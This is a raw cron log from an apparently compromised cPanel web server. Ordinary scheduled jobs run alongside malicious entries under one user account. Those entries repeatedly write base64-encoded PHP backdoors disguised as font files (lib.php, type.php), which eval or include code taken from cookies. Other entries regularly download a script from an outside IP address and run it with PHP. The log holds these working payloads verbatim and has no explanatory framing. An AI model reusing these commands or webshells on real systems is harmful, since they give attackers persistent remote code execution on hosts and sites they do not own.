Aug 30 09:41:01 ip-184-168-122-23 CROND[18902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:41:01 ip-184-168-122-23 CROND[18903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:41:01 ip-184-168-122-23 CROND[18904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:41:01 ip-184-168-122-23 CROND[18906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:42:01 ip-184-168-122-23 CROND[18999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:42:01 ip-184-168-122-23 CROND[19003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:42:01 ip-184-168-122-23 CROND[19002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:42:01 ip-184-168-122-23 CROND[19001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:42:01 ip-184-168-122-23 CROND[19004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:43:01 ip-184-168-122-23 CROND[19089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:43:01 ip-184-168-122-23 CROND[19091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:43:01 ip-184-168-122-23 CROND[19094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:43:01 ip-184-168-122-23 CROND[19098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:44:01 ip-184-168-122-23 CROND[19171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:44:01 ip-184-168-122-23 CROND[19173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:44:01 ip-184-168-122-23 CROND[19175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:44:01 ip-184-168-122-23 CROND[19177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:44:01 ip-184-168-122-23 CROND[19176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:45:01 ip-184-168-122-23 CROND[19273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:45:01 ip-184-168-122-23 CROND[19277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:45:01 ip-184-168-122-23 CROND[19276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:45:01 ip-184-168-122-23 CROND[19279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:45:01 ip-184-168-122-23 CROND[19275]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:45:01 ip-184-168-122-23 CROND[19280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:46:01 ip-184-168-122-23 CROND[19396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:46:01 ip-184-168-122-23 CROND[19398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:46:01 ip-184-168-122-23 CROND[19399]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 09:46:01 ip-184-168-122-23 CROND[19400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:46:01 ip-184-168-122-23 CROND[19402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:46:01 ip-184-168-122-23 CROND[19401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:46:01 ip-184-168-122-23 CROND[19403]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:47:01 ip-184-168-122-23 CROND[19644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:47:01 ip-184-168-122-23 CROND[19647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:47:01 ip-184-168-122-23 CROND[19646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:47:01 ip-184-168-122-23 CROND[19648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:48:01 ip-184-168-122-23 CROND[19802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:48:01 ip-184-168-122-23 CROND[19804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:48:01 ip-184-168-122-23 CROND[19803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:48:01 ip-184-168-122-23 CROND[19805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:48:01 ip-184-168-122-23 CROND[19809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:49:01 ip-184-168-122-23 CROND[19893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:49:01 ip-184-168-122-23 CROND[19896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:49:01 ip-184-168-122-23 CROND[19897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:49:01 ip-184-168-122-23 CROND[19895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:50:01 ip-184-168-122-23 CROND[19985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:50:01 ip-184-168-122-23 CROND[19988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:50:01 ip-184-168-122-23 CROND[19993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:50:01 ip-184-168-122-23 CROND[19991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:50:01 ip-184-168-122-23 CROND[19990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:50:01 ip-184-168-122-23 CROND[19992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:50:01 ip-184-168-122-23 CROND[19996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:50:01 ip-184-168-122-23 CROND[19995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:50:01 ip-184-168-122-23 CROND[19998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:51:01 ip-184-168-122-23 CROND[20098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:51:01 ip-184-168-122-23 CROND[20100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:51:01 ip-184-168-122-23 CROND[20102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:51:01 ip-184-168-122-23 CROND[20101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:52:01 ip-184-168-122-23 CROND[20206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:52:01 ip-184-168-122-23 CROND[20208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:52:01 ip-184-168-122-23 CROND[20210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:52:01 ip-184-168-122-23 CROND[20209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:52:01 ip-184-168-122-23 CROND[20211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:53:01 ip-184-168-122-23 CROND[20426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:53:01 ip-184-168-122-23 CROND[20425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
